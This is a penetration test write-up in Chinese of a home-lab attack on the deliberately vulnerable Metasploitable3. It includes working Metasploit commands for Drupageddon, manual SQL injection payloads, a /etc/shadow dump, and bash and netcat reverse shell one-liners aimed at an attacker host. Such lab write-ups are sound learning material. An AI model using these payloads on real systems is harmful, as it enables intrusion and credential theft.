Metasploitable3 — 渗透测试报告

作者： Arlen Fortunato
日期： 2026年9月
环境： Parrot OS（攻击机）→ Metasploitable3 Ubuntu 14.04（目标机）
范围： 完整网络渗透测试 — 枚举、利用、提权、后渗透
类型： 家庭实验室 / 夺旗练习

⚠️ 以下所有凭据均已脱敏。这是一次合法、隔离的家庭实验室演练。

使用的工具

侦察 — Nmap 全端口扫描

nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>

操作系统： Linux Ubuntu 14.04，内核 3.13.0-24-generic x86_64

发现摘要

发现详情

1. UnrealIRCd 3.2.8.1 (CVE-2010-2075) — 误报

漏洞： UnrealIRCd 3.2.8.1 历史上曾分发带有木马的二进制文件，当未认证客户端在注册前发送触发字符串时，会执行任意命令 — 以 IRC 守护进程用户身份实现 RCE。

利用尝试： Metasploit 模块 exploit/unix/irc/unreal_ircd_3281_backdoor，配合 payload cmd/unix/reverse_perl、cmd/unix/reverse_netcat、cmd/unix/reverse_bash。模块自动检查报告该服务存在漏洞；任何 payload 均未返回会话。

执行的故障排查：

• 端口可达（nc -vz）
• 确认端口为明文 IRC，而非 TLS（openssl s_client）
• 从目标机手动反向回连，确认出站网络正常
• 通过 nc 手动发送后门触发字符串，返回 IRC 协议错误 451 — 命令被解析为 IRC 命令，从未执行

结论： 版本横幅表明为存在漏洞的构建，但此实例中后门不存在（干净/重新编译的二进制文件）。归类为不可利用 — 误报，并附有证据。

2. Drupal 7.5 — Drupageddon (CVE-2014-3704)

漏洞： Drupal 7.x 在 7.32 之前的版本中，数据库抽象层存在严重 SQL 注入，可导致未认证远程代码执行。

版本确认： CHANGELOG.txt → "Drupal 7.5, 2011-07-27"

利用：

msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run

结果：

getuid  → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd     → /var/www/html/drupal

后渗透枚举：

• /var/www/html：chat/、drupal/、payroll_app.php、phpmyadmin/
• /home：16 个用户账户

3. 工资应用 — 基于 UNION 的 SQL 注入（手工）

漏洞： payroll_app.php 登录表单，密码字段存在 SQL 注入。未使用任何自动化工具 — 通过 curl 手工构造。

步骤 1 — 认证绕过：

' or 1=1#

' 闭合 SQL 字符串，or 1=1 强制为真，# 注释掉尾部引号。

步骤 2 — 列数 + 显示映射：

' UNION SELECT null, null, null, null#     -- 无错误 = 4 列
' UNION SELECT 1, 2, 3, 4#                 -- 标记：1=Username, 2=First, 3=Last, 4=Salary

步骤 3 — information_schema 枚举：

步骤 4 — 转储（密码已脱敏）：

' UNION SELECT username, password, salary, null FROM users#

4. SSH — 默认凭据与凭据复用

路径 1 — 默认账户： 默认 vagrant 凭据对通过 SSH 认证成功 → 该用户属于 sudo 组，拥有 (ALL : ALL) NOPASSWD: ALL。

路径 2 — 凭据复用： 从 SQLi 转储中收集的凭据直接通过 SSH 认证为另一个实验室用户（luke_skywalker，sudo 组，(ALL : ALL) ALL）。

意义： 展示了跨服务凭据复用 — 应用程序凭据映射到系统账户。

5. 权限提升（两条路径）

• 路径 A： vagrant → sudo -l 显示 NOPASSWD: ALL → sudo su - → uid=0(root)。
• 路径 B： luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root)。

无需本地漏洞利用 — 两个账户均持有过度宽松的 sudo 授权。

6. Shadow 转储

sudo cat /etc/shadow

提取 16 个 md5crypt ($1$) 哈希 — 提权后完成完整凭据收集。

7. 后渗透 — 反弹 Shell

Payload 1 — bash：

bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1

在 nc -lnvp 4444 上捕获 → 交互式 shell。

Payload 2 — netcat（命名管道）：

mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo

在 nc -lnvp 4445 上捕获 → 交互式 shell。

机制： 命名管道（FIFO）将 netcat 的 stdin/stdout 桥接到 /bin/sh，形成单套接字双向隧道；之后清理 FIFO。

修复建议

免责声明

所有测试均仅在隔离的家庭实验室中使用故意存在漏洞的软件（Rapid7 Metasploitable3）进行。未涉及任何生产系统或未授权目标。本报告仅用于教育目的和个人技能提升。